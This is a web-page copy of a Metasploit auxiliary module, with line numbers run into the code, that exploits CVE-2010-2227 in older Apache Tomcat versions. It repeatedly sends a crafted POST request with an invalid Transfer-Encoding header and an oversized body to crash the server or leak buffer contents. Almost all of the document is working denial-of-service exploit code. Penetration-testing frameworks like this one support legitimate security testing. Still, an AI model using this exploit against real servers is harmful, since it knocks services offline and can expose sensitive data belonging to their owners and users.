Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Apache Tomcat Transfer-Encoding Information Disclosure and DoS',12'Description' => %q{13Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not14properly handle an invalid Transfer-Encoding header, which allows remote attackers15to cause a denial of service (application outage) or obtain sensitive information16via a crafted header that interferes with "recycling of a buffer."17},18'Author' =>19[20'Steve Jones', # original discoverer21'Hoagie <andi[at]void.at>', # original public exploit22'Paulino Calderon <calderon[at]websec.mx>', # metasploit module23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2010-2227' ],28[ 'OSVDB', '66319' ],29[ 'BID', '41544' ]30],31'DisclosureDate' => '2010-07-09'))3233register_options(34[35Opt::RPORT(8000),36OptInt.new('RLIMIT', [ true, "Number of requests to send", 25])37])38end3940def run41for x in 1..datastore['RLIMIT']42begin43connect44print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")4546sploit = "POST / HTTP/1.1\r\n"47sploit << "Host: " + rhost + "\r\n"48sploit << "Transfer-Encoding: buffered\r\n"49sploit << "Content-Length: 65537\r\n\r\n"50sploit << Rex::Text.rand_text_alpha(1) * 655375152sock.put(sploit + "\r\n\r\n")53disconnect5455print_error("DoS packet unsuccessful")56rescue ::Rex::ConnectionRefused57print_error("Unable to connect to #{rhost}:#{rport}")58rescue ::Errno::ECONNRESET59print_good("DoS packet successful. #{rhost} not responding.")60rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout61print_error("Couldn't connect to #{rhost}:#{rport}")62rescue ::Timeout::Error, ::Errno::EPIPE63end64end65end66end676869